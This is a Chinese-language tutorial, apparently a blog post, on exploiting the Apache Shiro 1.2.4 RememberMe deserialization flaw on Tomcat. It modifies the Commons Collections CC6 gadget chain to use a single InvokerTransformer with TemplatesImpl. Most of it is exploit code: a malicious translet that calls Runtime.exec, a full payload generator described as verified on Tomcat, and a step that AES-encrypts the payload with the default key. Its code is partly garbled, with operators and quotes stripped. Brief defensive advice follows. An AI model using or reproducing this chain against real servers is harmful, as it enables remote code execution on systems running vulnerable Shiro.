Shiro 1.2.4 反序列化漏洞实战CC6链单Transformer改造绕过Tomcat限制在Java安全研究领域Shiro框架的反序列化漏洞一直是热门话题。本文将深入探讨如何在Tomcat环境下通过改造CC6利用链仅使用单个InvokerTransformer实现命令执行完美绕过Shiro对非Java原生数组类的加载限制。1. 漏洞背景与核心挑战Apache Shiro作为广泛使用的Java安全框架其1.2.4及更早版本存在一个关键的安全缺陷——使用固定密钥进行RememberMe功能的Cookie加密。攻击者可以构造恶意序列化数据在服务端反序列化时实现远程代码执行。但实际渗透测试中会遇到一个棘手问题当Shiro部署在Tomcat环境下时传统的CC链利用方式会因数组类加载限制而失败。具体表现为java.lang.ClassNotFoundException: [Lorg.apache.commons.collections.Transformer;这个错误的根源在于Shiro重写了ClassResolvingObjectInputStream的resolveClass方法。当反序列化流中包含非Java原生数组类时Tomcat的类加载器无法正确加载这些类。2. CC6链原理与限制分析让我们先回顾标准CC6链的核心组件TiedMapEntry触发点其hashCode()会调用getValue()LazyMap通过get()方法触发transformChainedTransformer多Transformer串联执行传统实现需要Transformer数组Transformer[] transformers new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, ...), new InvokerTransformer(invoke, ...), new InvokerTransformer(exec, ...) };问题正出在这个数组上——[Lorg.apache.commons.collections.Transformer;不是Java原生数组类型导致Tomcat无法加载。3. 单Transformer改造方案3.1 关键突破点LazyMap的get方法观察LazyMap.get()的源码实现public Object get(Object key) { if (!map.containsKey(key)) { Object value factory.transform(key); // 关键调用 map.put(key, value); return value; } return map.get(key); }这里的关键发现是传入的key会直接作为参数传递给transform方法。这意味着我们可以完全控制transform方法的输入参数不再需要ConstantTransformer来传递Runtime实例。3.2 改造后的调用链改造后的核心思路使用TemplatesImpl承载恶意字节码将TemplatesImpl实例作为key传入通过InvokerTransformer直接调用newTransformer()graph TD A[TiedMapEntry.hashCode] -- B[TiedMapEntry.getValue] B -- C[LazyMap.get] C -- D[InvokerTransformer.transform] D -- E[TemplatesImpl.newTransformer] E -- F[恶意代码执行]3.3 关键技术实现3.3.1 恶意类构造首先创建包含恶意代码的模板类public class Evil extends AbstractTranslet { public Evil() throws Exception { Runtime.getRuntime().exec(calc); } // 必须实现的抽象方法 public void transform(DOM document, SerializationHandler[] handlers) {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }3.3.2 TemplatesImpl加载通过反射设置关键字段TemplatesImpl templates new TemplatesImpl(); setField(templates, _bytecodes, new byte[][]{evilBytes}); setField(templates, _name, Pwn); setField(templates, _tfactory, new TransformerFactoryImpl());3.3.3 精简后的Transformer配置仅需单个InvokerTransformerTransformer transformer new InvokerTransformer(newTransformer, null, null);4. 完整EXP实现以下是经过Tomcat环境验证的完整利用代码import com.sun.org.apache.xalan.internal.xsltc.trax.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import org.apache.commons.collections.keyvalue.*; import java.util.*; import java.lang.reflect.*; public class ShiroCC6SingleTransformer { public static void setField(Object obj, String fieldName, Object value) throws Exception { Field field obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static byte[] generatePayload(byte[] evilBytes) throws Exception { // 1. 构造TemplatesImpl TemplatesImpl templates new TemplatesImpl(); setField(templates, _bytecodes, new byte[][]{evilBytes}); setField(templates, _name, Pwn); setField(templates, _tfactory, new TransformerFactoryImpl()); // 2. 配置单Transformer Transformer transformer new InvokerTransformer(getClass, null, null); // 3. 构建LazyMap链 Map innerMap new HashMap(); Map lazyMap LazyMap.decorate(innerMap, transformer); TiedMapEntry entry new TiedMapEntry(lazyMap, templates); // 4. 触发反序列化 Map expMap new HashMap(); expMap.put(entry, value); // 5. 反射修改方法名 setField(transformer, iMethodName, newTransformer); // 清理防止本地触发 lazyMap.clear(); // 序列化为字节数组 ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(expMap); return baos.toByteArray(); } }5. 实战注意事项字节码处理确保evilBytes是有效的恶意类字节码可通过ClassPool获取ClassPool pool ClassPool.getDefault(); CtClass clazz pool.get(Evil.class.getName()); byte[] evilBytes clazz.toBytecode();Shiro加密最终payload需要经过AES加密AesCipherService aes new AesCipherService(); byte[] key Base64.getDecoder().decode(kPHbIxk5D2deZiIxcaaaA); ByteSource ciphertext aes.encrypt(payload, key);防御措施升级到Shiro 1.2.5及以上版本修改默认加密密钥禁用RememberMe功能6. 技术对比与优势特性传统CC6链本方案Transformer数量多个(数组)单个依赖数组类是否Tomcat兼容性不兼容兼容代码复杂度高低可靠性受环境限制更稳定这种改造方案不仅解决了Tomcat环境下的限制问题还简化了利用链结构提高了攻击的可靠性。对于安全研究人员而言理解这种改造思路有助于更好地分析其他反序列化漏洞的利用可能性。
网站建设
高端定制
企业官网